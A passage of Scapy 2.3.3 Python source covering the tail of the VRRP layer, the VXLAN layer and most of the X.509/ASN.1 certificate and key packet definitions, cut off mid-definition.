fields_desc = [ BitField("version" , 2, 4), BitField("type" , 1, 4), ByteField("vrid", 1), ByteField("priority", 100), FieldLenField("ipcount", None, count_of="addrlist", fmt="B"), ByteField("authtype", 0), ByteField("adv", 1), XShortField("chksum", None), FieldListField("addrlist", [], IPField("", "0.0.0.0"), count_from = lambda pkt: pkt.ipcount), IntField("auth1", 0), IntField("auth2", 0) ] def post_build(self, p, pay): if self.chksum is None: ck = checksum(p) p = p[:6]+chr(ck>>8)+chr(ck&0xff)+p[8:] return p bind_layers( IP, VRRP, proto=IPPROTO_VRRP) scapy-2.3.3/scapy/layers/vxlan.py000066400000000000000000000052501300136037300167540ustar00rootroot00000000000000#! /usr/bin/env python # RFC 7348 - Virtual eXtensible Local Area Network (VXLAN): # A Framework for Overlaying Virtualized Layer 2 Networks over Layer 3 Networks # http://tools.ietf.org/html/rfc7348 # https://www.ietf.org/id/draft-ietf-nvo3-vxlan-gpe-02.txt # # VXLAN Group Policy Option: # http://tools.ietf.org/html/draft-smith-vxlan-group-policy-00 from scapy.packet import Packet, bind_layers from scapy.layers.l2 import Ether from scapy.layers.inet import IP, UDP from scapy.layers.inet6 import IPv6 from scapy.fields import FlagsField, XByteField, ThreeBytesField, \ ConditionalField, ShortField, ByteEnumField, X3BytesField _GP_FLAGS = ["R", "R", "R", "A", "R", "R", "D", "R"] class VXLAN(Packet): name = "VXLAN" fields_desc = [ FlagsField("flags", 0x8, 8, ['OAM', 'R', 'NextProtocol', 'Instance', 'V1', 'V2', 'R', 'G']), ConditionalField( ShortField("reserved0", 0), lambda pkt: pkt.flags & 0x04, ), ConditionalField( ByteEnumField('NextProtocol', 0, {0: 'NotDefined', 1: 'IPv4', 2: 'IPv6', 3: 'Ethernet', 4: 'NSH'}), lambda pkt: pkt.flags & 0x04, ), ConditionalField( ThreeBytesField("reserved1", 0x000000), lambda pkt: (not pkt.flags & 0x80) and (not pkt.flags & 0x04), ), ConditionalField( FlagsField("gpflags", 0x0, 8, _GP_FLAGS), lambda pkt: pkt.flags & 0x80, ), ConditionalField( ShortField("gpid", 0), lambda pkt: pkt.flags & 0x80, ), X3BytesField("vni", 0), XByteField("reserved2", 0x00), ] # Use default linux implementation port overload_fields = { UDP: {'dport': 8472}, } def mysummary(self): if self.flags & 0x80: return self.sprintf("VXLAN (vni=%VXLAN.vni% gpid=%VXLAN.gpid%)") else: return self.sprintf("VXLAN (vni=%VXLAN.vni%)") bind_layers(UDP, VXLAN, dport=4789) # RFC standard port bind_layers(UDP, VXLAN, dport=6633) # New IANA assigned port for use with NSH bind_layers(UDP, VXLAN, dport=8472) # Linux implementation port bind_layers(VXLAN, Ether, {'flags': 0x8}) bind_layers(VXLAN, Ether, {'flags': 0x88}) bind_layers(VXLAN, Ether, {'flags': 0xC, 'NextProtocol': 0}, NextProtocol=0) bind_layers(VXLAN, IP, {'flags': 0xC, 'NextProtocol': 1}, NextProtocol=1) bind_layers(VXLAN, IPv6, {'flags': 0xC, 'NextProtocol': 2}, NextProtocol=2) bind_layers(VXLAN, Ether, {'flags': 0xC, 'NextProtocol': 3}, NextProtocol=3) scapy-2.3.3/scapy/layers/x509.py000066400000000000000000001251501300136037300163330ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## Enhanced by Maxence Tury ## This program is published under a GPLv2 license """ X.509 certificates. """ from scapy.asn1.asn1 import * from scapy.asn1.ber import * from scapy.asn1packet import * from scapy.asn1fields import * from scapy.packet import Packet from scapy.fields import PacketField from scapy.volatile import * class ASN1P_OID(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_OID("oid", "0") class ASN1P_INTEGER(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_INTEGER("number", 0) class ASN1P_PRIVSEQ(ASN1_Packet): # This class gets used in x509.uts # It showcases the private high-tag decoding capacities of scapy. ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_IA5_STRING("str", ""), ASN1F_STRING("int", 0), explicit_tag=0, flexible_tag=True) ####################### ##### RSA packets ##### ####################### ##### based on RFC 3447 # It could be interesting to use os.urandom and try to generate # a new modulus each time RSAPublicKey is called with default values. # (We might have to dig into scapy field initialization mechanisms...) # NEVER rely on the key below, which is provided only for debugging purposes. class RSAPublicKey(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_INTEGER("modulus", 10), ASN1F_INTEGER("publicExponent", 3)) class RSAOtherPrimeInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_INTEGER("prime", 0), ASN1F_INTEGER("exponent", 0), ASN1F_INTEGER("coefficient", 0)) class RSAPrivateKey(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("version", 0, ["two-prime", "multi"]), ASN1F_INTEGER("modulus", 10), ASN1F_INTEGER("publicExponent", 3), ASN1F_INTEGER("privateExponent", 3), ASN1F_INTEGER("prime1", 2), ASN1F_INTEGER("prime2", 5), ASN1F_INTEGER("exponent1", 0), ASN1F_INTEGER("exponent2", 3), ASN1F_INTEGER("coefficient", 1), ASN1F_optional( ASN1F_SEQUENCE_OF("otherPrimeInfos", None, RSAOtherPrimeInfo))) #################################### ########## ECDSA packets ########### #################################### #### based on RFC 3279 & 5480 & 5915 class ECFieldID(ASN1_Packet): # No characteristic-two-field support for now. ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("fieldType", "prime-field"), ASN1F_INTEGER("prime", 0)) class ECCurve(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_STRING("a", ""), ASN1F_STRING("b", ""), ASN1F_optional( ASN1F_BIT_STRING("seed", None))) class ECSpecifiedDomain(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("version", 1, {1: "ecpVer1"}), ASN1F_PACKET("fieldID", ECFieldID(), ECFieldID), ASN1F_PACKET("curve", ECCurve(), ECCurve), ASN1F_STRING("base", ""), ASN1F_INTEGER("order", 0), ASN1F_optional( ASN1F_INTEGER("cofactor", None))) class ECParameters(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE("curve", ASN1_OID("ansip384r1"), ASN1F_OID, # for named curves ASN1F_NULL, # for implicit curves ECSpecifiedDomain) class ECDSAPublicKey(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_BIT_STRING("ecPoint", "") class ECDSAPrivateKey(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("version", 1, {1: "ecPrivkeyVer1"}), ASN1F_STRING("privateKey", ""), ASN1F_optional( ASN1F_PACKET("parameters", None, ECParameters, explicit_tag=0xa0)), ASN1F_optional( ASN1F_PACKET("publicKey", None, ECDSAPublicKey, explicit_tag=0xa1))) class ECDSASignature(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_INTEGER("r", 0), ASN1F_INTEGER("s", 0)) ###################### #### X509 packets #### ###################### #### based on RFC 5280 ####### Names ####### class ASN1F_X509_DirectoryString(ASN1F_CHOICE): # we include ASN1 bit strings for rare instances of x500 addresses def __init__(self, name, default, **kwargs): ASN1F_CHOICE.__init__(self, name, default, ASN1F_PRINTABLE_STRING, ASN1F_UTF8_STRING, ASN1F_IA5_STRING, ASN1F_T61_STRING, ASN1F_UNIVERSAL_STRING, ASN1F_BIT_STRING, **kwargs) class X509_AttributeValue(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE("value", ASN1_PRINTABLE_STRING("FR"), ASN1F_PRINTABLE_STRING, ASN1F_UTF8_STRING, ASN1F_IA5_STRING, ASN1F_T61_STRING, ASN1F_UNIVERSAL_STRING) class X509_Attribute(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("type", "2.5.4.6"), ASN1F_SET_OF("values", [X509_AttributeValue()], X509_AttributeValue)) class X509_AttributeTypeAndValue(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("type", "2.5.4.6"), ASN1F_X509_DirectoryString("value", ASN1_PRINTABLE_STRING("FR"))) class X509_RDN(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SET_OF("rdn", [X509_AttributeTypeAndValue()], X509_AttributeTypeAndValue) class X509_OtherName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("type_id", "0"), ASN1F_CHOICE("value", None, ASN1F_IA5_STRING, ASN1F_ISO646_STRING, ASN1F_BMP_STRING, ASN1F_UTF8_STRING, explicit_tag=0xa0)) class X509_RFC822Name(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_IA5_STRING("rfc822Name", "") class X509_DNSName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_IA5_STRING("dNSName", "") #XXX write me class X509_X400Address(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_field("x400Address", "") default_directoryName = [ X509_RDN(), X509_RDN( rdn=[X509_AttributeTypeAndValue( type="2.5.4.10", value=ASN1_PRINTABLE_STRING("Scapy, Inc."))]), X509_RDN( rdn=[X509_AttributeTypeAndValue( type="2.5.4.3", value=ASN1_PRINTABLE_STRING("Scapy Default Name"))]) ] class X509_DirectoryName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("directoryName", default_directoryName, X509_RDN) class X509_EDIPartyName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_X509_DirectoryString("nameAssigner", None, explicit_tag=0xa0)), ASN1F_X509_DirectoryString("partyName", None, explicit_tag=0xa1)) class X509_URI(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_IA5_STRING("uniformResourceIdentifier", "") class X509_IPAddress(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_STRING("iPAddress", "") class X509_RegisteredID(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_OID("registeredID", "") class X509_GeneralName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE("generalName", X509_DirectoryName(), ASN1F_PACKET("otherName", None, X509_OtherName, implicit_tag=0xa0), ASN1F_PACKET("rfc822Name", None, X509_RFC822Name, implicit_tag=0x81), ASN1F_PACKET("dNSName", None, X509_DNSName, implicit_tag=0x82), ASN1F_PACKET("x400Address", None, X509_X400Address, explicit_tag=0xa3), ASN1F_PACKET("directoryName", None, X509_DirectoryName, explicit_tag=0xa4), ASN1F_PACKET("ediPartyName", None, X509_EDIPartyName, explicit_tag=0xa5), ASN1F_PACKET("uniformResourceIdentifier", None, X509_URI, implicit_tag=0x86), ASN1F_PACKET("ipAddress", None, X509_IPAddress, implicit_tag=0x87), ASN1F_PACKET("registeredID", None, X509_RegisteredID, implicit_tag=0x88)) ####### Extensions ####### class X509_ExtAuthorityKeyIdentifier(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_STRING("keyIdentifier", "\xff"*20, implicit_tag=0x80)), ASN1F_optional( ASN1F_SEQUENCE_OF("authorityCertIssuer", None, X509_GeneralName, implicit_tag=0xa1)), ASN1F_optional( ASN1F_INTEGER("authorityCertSerialNumber", None, implicit_tag=0x82))) class X509_ExtSubjectDirectoryAttributes(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("subjectDirectoryAttributes", [X509_Attribute()], X509_Attribute) class X509_ExtSubjectKeyIdentifier(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_STRING("keyIdentifier", "xff"*20) class X509_ExtFullName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("fullName", [X509_GeneralName()], X509_GeneralName, implicit_tag=0xa0) class X509_ExtNameRelativeToCRLIssuer(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_PACKET("nameRelativeToCRLIssuer", X509_RDN(), X509_RDN, implicit_tag=0xa1) class X509_ExtDistributionPointName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE("distributionPointName", None, X509_ExtFullName, X509_ExtNameRelativeToCRLIssuer) reasons_mapping = ["unused", "keyCompromise", "cACompromise", "affiliationChanged", "superseded", "cessationOfOperation", "certificateHold", "privilegeWithdrawn", "aACompromise"] class X509_ExtDistributionPoint(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_PACKET("distributionPoint", X509_ExtDistributionPointName(), X509_ExtDistributionPointName, explicit_tag=0xa0)), ASN1F_optional( ASN1F_FLAGS("reasons", None, reasons_mapping, implicit_tag=0x81)), ASN1F_optional( ASN1F_SEQUENCE_OF("cRLIssuer", None, X509_GeneralName, implicit_tag=0xa2))) ku_mapping = ["digitalSignature", "nonRepudiation", "keyEncipherment", "dataEncipherment", "keyAgreement", "keyCertSign", "cRLSign", "encipherOnly", "decipherOnly"] class X509_ExtKeyUsage(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_FLAGS("keyUsage", "101", ku_mapping) def get_keyUsage(self): return self.ASN1_root.get_flags(self) class X509_ExtPrivateKeyUsagePeriod(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_GENERALIZED_TIME("notBefore", str(GeneralizedTime(-600)), implicit_tag=0x80)), ASN1F_optional( ASN1F_GENERALIZED_TIME("notAfter", str(GeneralizedTime(+86400)), implicit_tag=0x81))) class X509_PolicyMapping(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("issuerDomainPolicy", None), ASN1F_OID("subjectDomainPolicy", None)) class X509_ExtPolicyMappings(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("policyMappings", [], X509_PolicyMapping) class X509_ExtBasicConstraints(ASN1_Packet): # The cA field should not be optional, but some certs omit it for False. ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_BOOLEAN("cA", False)), ASN1F_optional( ASN1F_INTEGER("pathLenConstraint", None))) class X509_ExtCRLNumber(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_INTEGER("cRLNumber", 0) cRL_reasons = ["unspecified", "keyCompromise", "cACompromise", "affiliationChanged", "superseded", "cessationOfOperation", "certificateHold", "unused_reasonCode", "removeFromCRL", "privilegeWithdrawn", "aACompromise"] class X509_ExtReasonCode(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_ENUMERATED("cRLReason", 0, cRL_reasons) class X509_ExtDeltaCRLIndicator(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_INTEGER("deltaCRLIndicator", 0) class X509_ExtIssuingDistributionPoint(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_PACKET("distributionPoint", X509_ExtDistributionPointName(), X509_ExtDistributionPointName, explicit_tag=0xa0)), ASN1F_BOOLEAN("onlyContainsUserCerts", False, implicit_tag=0x81), ASN1F_BOOLEAN("onlyContainsCACerts", False, implicit_tag=0x82), ASN1F_optional( ASN1F_FLAGS("onlySomeReasons", None, reasons_mapping, implicit_tag=0x83)), ASN1F_BOOLEAN("indirectCRL", False, implicit_tag=0x84), ASN1F_BOOLEAN("onlyContainsAttributeCerts", False, implicit_tag=0x85)) class X509_ExtCertificateIssuer(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("certificateIssuer", [], X509_GeneralName) class X509_ExtInvalidityDate(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_GENERALIZED_TIME("invalidityDate", str(ZuluTime(+86400))) class X509_ExtSubjectAltName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("subjectAltName", [], X509_GeneralName) class X509_ExtIssuerAltName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("issuerAltName", [], X509_GeneralName) class X509_ExtGeneralSubtree(ASN1_Packet): # 'minimum' is not optional in RFC 5280, yet it is in some implementations. ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_PACKET("base", X509_GeneralName(), X509_GeneralName), ASN1F_optional( ASN1F_INTEGER("minimum", None, implicit_tag=0x80)), ASN1F_optional( ASN1F_INTEGER("maximum", None, implicit_tag=0x81))) class X509_ExtNameConstraints(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_SEQUENCE_OF("permittedSubtrees", None, X509_ExtGeneralSubtree, implicit_tag=0xa0)), ASN1F_optional( ASN1F_SEQUENCE_OF("excludedSubtrees", None, X509_ExtGeneralSubtree, implicit_tag=0xa1))) class X509_ExtPolicyConstraints(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_INTEGER("requireExplicitPolicy", None, implicit_tag=0x80)), ASN1F_optional( ASN1F_INTEGER("inhibitPolicyMapping", None, implicit_tag=0x81))) class X509_ExtExtendedKeyUsage(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("extendedKeyUsage", [], ASN1P_OID) def get_extendedKeyUsage(self): eku_array = self.extendedKeyUsage return [eku.oid.oidname for eku in eku_array] class X509_ExtNoticeReference(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_CHOICE("organization", ASN1_UTF8_STRING("Dummy Organization"), ASN1F_IA5_STRING, ASN1F_ISO646_STRING, ASN1F_BMP_STRING, ASN1F_UTF8_STRING), ASN1F_SEQUENCE_OF("noticeNumbers", [], ASN1P_INTEGER)) class X509_ExtUserNotice(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_PACKET("noticeRef", None, X509_ExtNoticeReference)), ASN1F_optional( ASN1F_CHOICE("explicitText", ASN1_UTF8_STRING("Dummy ExplicitText"), ASN1F_IA5_STRING, ASN1F_ISO646_STRING, ASN1F_BMP_STRING, ASN1F_UTF8_STRING))) class X509_ExtPolicyQualifierInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("policyQualifierId", "1.3.6.1.5.5.7.2.1"), ASN1F_CHOICE("qualifier", ASN1_IA5_STRING("cps_str"), ASN1F_IA5_STRING, X509_ExtUserNotice)) class X509_ExtPolicyInformation(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("policyIdentifier", "2.5.29.32.0"), ASN1F_optional( ASN1F_SEQUENCE_OF("policyQualifiers", None, X509_ExtPolicyQualifierInfo))) class X509_ExtCertificatePolicies(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("certificatePolicies", [X509_ExtPolicyInformation()], X509_ExtPolicyInformation) class X509_ExtCRLDistributionPoints(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("cRLDistributionPoints", [X509_ExtDistributionPoint()], X509_ExtDistributionPoint) class X509_ExtInhibitAnyPolicy(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_INTEGER("skipCerts", 0) class X509_ExtFreshestCRL(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("cRLDistributionPoints", [X509_ExtDistributionPoint()], X509_ExtDistributionPoint) class X509_AccessDescription(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("accessMethod", "0"), ASN1F_PACKET("accessLocation", X509_GeneralName(), X509_GeneralName)) class X509_ExtAuthInfoAccess(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("authorityInfoAccess", [X509_AccessDescription()], X509_AccessDescription) class X509_ExtQcStatement(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("statementId", "0.4.0.1862.1.1"), ASN1F_optional( ASN1F_field("statementInfo", None))) class X509_ExtQcStatements(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("qcStatements", [X509_ExtQcStatement()], X509_ExtQcStatement) class X509_ExtSubjInfoAccess(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("subjectInfoAccess", [X509_AccessDescription()], X509_AccessDescription) class X509_ExtNetscapeCertType(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_BIT_STRING("netscapeCertType", "") class X509_ExtComment(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE("comment", ASN1_UTF8_STRING("Dummy comment."), ASN1F_IA5_STRING, ASN1F_ISO646_STRING, ASN1F_BMP_STRING, ASN1F_UTF8_STRING) class X509_ExtDefault(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_field("value", None) # oid-info.com shows that some extensions share multiple OIDs. # Here we only reproduce those written in RFC5280. ext_mapping = { "2.5.29.9" : X509_ExtSubjectDirectoryAttributes, "2.5.29.14" : X509_ExtSubjectKeyIdentifier, "2.5.29.15" : X509_ExtKeyUsage, "2.5.29.16" : X509_ExtPrivateKeyUsagePeriod, "2.5.29.17" : X509_ExtSubjectAltName, "2.5.29.18" : X509_ExtIssuerAltName, "2.5.29.19" : X509_ExtBasicConstraints, "2.5.29.20" : X509_ExtCRLNumber, "2.5.29.21" : X509_ExtReasonCode, "2.5.29.24" : X509_ExtInvalidityDate, "2.5.29.27" : X509_ExtDeltaCRLIndicator, "2.5.29.28" : X509_ExtIssuingDistributionPoint, "2.5.29.29" : X509_ExtCertificateIssuer, "2.5.29.30" : X509_ExtNameConstraints, "2.5.29.31" : X509_ExtCRLDistributionPoints, "2.5.29.32" : X509_ExtCertificatePolicies, "2.5.29.33" : X509_ExtPolicyMappings, "2.5.29.35" : X509_ExtAuthorityKeyIdentifier, "2.5.29.36" : X509_ExtPolicyConstraints, "2.5.29.37" : X509_ExtExtendedKeyUsage, "2.5.29.46" : X509_ExtFreshestCRL, "2.5.29.54" : X509_ExtInhibitAnyPolicy, "2.16.840.1.113730.1.1" : X509_ExtNetscapeCertType, "2.16.840.1.113730.1.13" : X509_ExtComment, "1.3.6.1.5.5.7.1.1" : X509_ExtAuthInfoAccess, "1.3.6.1.5.5.7.1.3" : X509_ExtQcStatements, "1.3.6.1.5.5.7.1.11" : X509_ExtSubjInfoAccess } class ASN1F_EXT_SEQUENCE(ASN1F_SEQUENCE): # We use explicit_tag=0x04 with extnValue as STRING encapsulation. def __init__(self, **kargs): seq = [ASN1F_OID("extnID", "2.5.29.19"), ASN1F_optional( ASN1F_BOOLEAN("critical", False)), ASN1F_PACKET("extnValue", X509_ExtBasicConstraints(), X509_ExtBasicConstraints, explicit_tag=0x04)] ASN1F_SEQUENCE.__init__(self, *seq, **kargs) def dissect(self, pkt, s): _,s = BER_tagging_dec(s, implicit_tag=self.implicit_tag, explicit_tag=self.explicit_tag, safe=self.flexible_tag) codec = self.ASN1_tag.get_codec(pkt.ASN1_codec) i,s,remain = codec.check_type_check_len(s) extnID = self.seq[0] critical = self.seq[1] try: oid,s = extnID.m2i(pkt, s) extnID.set_val(pkt, oid) s = critical.dissect(pkt, s) encapsed = X509_ExtDefault if oid.val in ext_mapping: encapsed = ext_mapping[oid.val] self.seq[2].cls = encapsed self.seq[2].cls.ASN1_root.flexible_tag = True # there are too many private extensions not to be flexible here self.seq[2].default = encapsed() s = self.seq[2].dissect(pkt, s) if not self.flexible_tag and len(s) > 0: err_msg = "extension sequence length issue" raise BER_Decoding_Error(err_msg, remaining=s) except ASN1F_badsequence,e: raise Exception("could not parse extensions") return remain class X509_Extension(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_EXT_SEQUENCE() ####### Public key wrapper ####### class X509_AlgorithmIdentifier(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("algorithm", "1.2.840.113549.1.1.11"), ASN1F_optional( ASN1F_CHOICE("parameters", ASN1_NULL(0), ASN1F_NULL, ECParameters))) class ASN1F_X509_SubjectPublicKeyInfoRSA(ASN1F_SEQUENCE): def __init__(self, **kargs): seq = [ASN1F_PACKET("signatureAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_BIT_STRING_ENCAPS("subjectPublicKey", RSAPublicKey(), RSAPublicKey)] ASN1F_SEQUENCE.__init__(self, *seq, **kargs) class ASN1F_X509_SubjectPublicKeyInfoECDSA(ASN1F_SEQUENCE): def __init__(self, **kargs): seq = [ASN1F_PACKET("signatureAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_PACKET("subjectPublicKey", ECDSAPublicKey(), ECDSAPublicKey)] ASN1F_SEQUENCE.__init__(self, *seq, **kargs) class ASN1F_X509_SubjectPublicKeyInfo(ASN1F_SEQUENCE): def __init__(self, **kargs): seq = [ASN1F_PACKET("signatureAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_BIT_STRING("subjectPublicKey", None)] ASN1F_SEQUENCE.__init__(self, *seq, **kargs) def m2i(self, pkt, x): c,s = ASN1F_SEQUENCE.m2i(self, pkt, x) keytype = pkt.fields["signatureAlgorithm"].algorithm.oidname if "rsa" in keytype.lower(): return ASN1F_X509_SubjectPublicKeyInfoRSA().m2i(pkt, x) elif keytype == "ecPublicKey": return ASN1F_X509_SubjectPublicKeyInfoECDSA().m2i(pkt, x) else: raise Exception("could not parse subjectPublicKeyInfo") def dissect(self, pkt, s): c,x = self.m2i(pkt, s) return x def build(self, pkt): if "signatureAlgorithm" in pkt.fields: ktype = pkt.fields['signatureAlgorithm'].algorithm.oidname else: ktype = pkt.default_fields["signatureAlgorithm"].algorithm.oidname if "rsa" in ktype.lower(): pkt.default_fields["subjectPublicKey"] = RSAPublicKey() return ASN1F_X509_SubjectPublicKeyInfoRSA().build(pkt) elif ktype == "ecPublicKey": pkt.default_fields["subjectPublicKey"] = ECDSAPublicKey() return ASN1F_X509_SubjectPublicKeyInfoECDSA().build(pkt) else: raise Exception("could not build subjectPublicKeyInfo") class X509_SubjectPublicKeyInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_X509_SubjectPublicKeyInfo() ###### OpenSSL compatibility wrappers ###### #XXX As ECDSAPrivateKey already uses the structure from RFC 5958, # and as we would prefer encapsulated RSA private keys to be parsed, # this lazy implementation actually supports RSA encoding only. # We'd rather call it RSAPrivateKey_OpenSSL than X509_PrivateKeyInfo. class RSAPrivateKey_OpenSSL(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("version", 0, ["v1", "v2"]), ASN1F_PACKET("privateKeyAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_PACKET("privateKey", RSAPrivateKey(), RSAPrivateKey, explicit_tag=0x04), ASN1F_optional( ASN1F_PACKET("parameters", None, ECParameters, explicit_tag=0xa0)), ASN1F_optional( ASN1F_PACKET("publicKey", None, ECDSAPublicKey, explicit_tag=0xa1))) class _PacketFieldRaw(PacketField): # We need this hack because ECParameters parsing below must return # a Padding payload, and making the ASN1_Packet class have Padding # instead of Raw payload would break things... def getfield(self, pkt, s): i = self.m2i(pkt, s) remain = "" if conf.raw_layer in i: r = i[conf.raw_layer] del(r.underlayer.payload) remain = r.load return remain,i class ECDSAPrivateKey_OpenSSL(Packet): name = "ECDSA Params + Private Key" fields_desc = [ _PacketFieldRaw("ecparam", ECParameters(), ECParameters), PacketField("privateKey", ECDSAPrivateKey(), ECDSAPrivateKey) ] ####### TBSCertificate & Certificate ####### default_issuer = [ X509_RDN(), X509_RDN( rdn=[X509_AttributeTypeAndValue( type="2.5.4.10", value=ASN1_PRINTABLE_STRING("Scapy, Inc."))]), X509_RDN( rdn=[X509_AttributeTypeAndValue( type="2.5.4.3", value=ASN1_PRINTABLE_STRING("Scapy Default Issuer"))]) ] default_subject = [ X509_RDN(), X509_RDN( rdn=[X509_AttributeTypeAndValue( type="2.5.4.10", value=ASN1_PRINTABLE_STRING("Scapy, Inc."))]), X509_RDN( rdn=[X509_AttributeTypeAndValue( 